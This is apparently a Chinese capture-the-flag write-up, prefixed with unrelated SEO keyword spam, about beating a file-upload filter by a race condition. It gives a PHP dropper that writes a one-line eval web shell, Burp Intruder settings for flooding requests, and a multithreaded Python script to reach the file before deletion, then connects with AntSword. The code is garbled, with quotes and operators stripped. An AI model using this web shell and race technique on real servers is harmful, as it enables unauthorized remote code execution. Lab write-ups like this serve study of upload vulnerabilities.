网站搭建设计合同,高端大气网站设计欣赏,张雪峰谈工业设计专业,国内简约网站设计进入靶场
传个桌面有的
直接空白了
我们
访问一下上传的东西 /index 没显示用于解析的.htaccess和.user.ini 文件#xff0c;还两个都不显示
.htaccess 和 .user.ini 文件分别用于 Apache 服务器和 PHP-FPM 环境的目录级配置
但上传的时候bp查看状态码是200#xff0c;…
进入靶场
传个桌面有的
直接空白了
我们
访问一下上传的东西 /index 没显示用于解析的.htaccess和.user.ini 文件还两个都不显示
.htaccess 和 .user.ini 文件分别用于 Apache 服务器和 PHP-FPM 环境的目录级配置
但上传的时候bp查看状态码是200意味着上传成功了
别的博主说这是服务器在短时间内就立刻将其删掉了需要采取条件竞争我们需要抢在它删除之前访问文件并生成一句话木马文件所以访问包的线程需要大于上传包的线程。大量的线程用于访问缓存数据能够快速地从缓存中获取数据
这需要bp来实现我勒个豆bp这么高级 文件名 1.php 文件内容 ?php fputs(fopen(shell.php, w), ?php eval($_POST[shell]); ?); ? 此 PHP 代码的作用是创建一个名为 shell.php 的文件。并将 ?php eval($_POST[shell]); ? 写入该文件。eval($_POST[shell]); 这部分代码会执行通过 POST 请求传递给 shell.php 的任意 PHP 代码 上传时抓包发到intruder
点击右边的资源池
右键名称处会自动填写再设置最大请求数 还需要将攻击荷载设置为空 但是我这块设置不了为空的时候右边的payload那块就是空的类型和无限重复就设置不了
所以勾选了一个影响不大的东西这里勾选的东西需要确保置换为空时不产生影响的
上一步实现后运用大佬的脚本创造shell.php
import requests
import threading
import os# 定义一个继承自 threading.Thread 的类 RaceCondition用于模拟竞争条件下的文件上传和访问操作
class RaceCondition(threading.Thread):def __init__(self):# 调用父类 threading.Thread 的构造函数进行初始化threading.Thread.__init__(self)# 定义要访问的 URL这里省略了具体的 URL实际使用时需要补充完整self.url 。。。。。。。。。。。。。。# 定义上传文件的 URL这里是上传到 shell.php 的地址self.uploadUrl 。。。。。。。。。。upload/shell.php# 定义一个私有方法 _get用于尝试访问已上传的文件def _get(self):# 打印提示信息表示正在尝试调用已上传的文件print(try to call uploaded file...)# 使用 requests 库发送 GET 请求到指定的 URLr requests.get(self.url)# 检查响应的状态码是否为 200表示请求成功if r.status_code 200:# 如果请求成功打印成功信息print([*] create file shell.php success.)# 退出整个 Python 程序os._exit(0)# 定义一个私有方法 _upload用于上传文件def _upload(self):# 打印提示信息表示正在上传文件print(upload file...)# 使用 requests 库发送 GET 请求到上传文件的 URLrs requests.get(self.uploadUrl)# 检查响应的状态码是否为 200表示请求成功if rs.status_code 200:# 如果请求成功打印成功信息print([*] create file shell.php success.)# 退出整个 Python 程序os._exit(0)# 定义线程的运行方法当线程启动时会自动调用该方法def run(self):while True:# 循环 5 次调用 _get 方法尝试访问已上传的文件for i in range(5):self._get()# 循环 10 次每次先调用 _upload 方法上传文件然后再调用 _get 方法尝试访问已上传的文件for i in range(10):self._upload()self._get()if __name__ __main__:# 定义要创建的线程数量为 50threads 50# 循环创建指定数量的线程实例并启动这些线程for i in range(threads):# 创建一个 RaceCondition 类的实例t RaceCondition()# 启动线程t.start()# 循环等待所有线程执行完毕for i in range(threads):# 调用线程的 join 方法等待线程执行结束t.join() 最后访问upload发现上传成功时用蚂剑连接即可密码就是shell 终于做出来了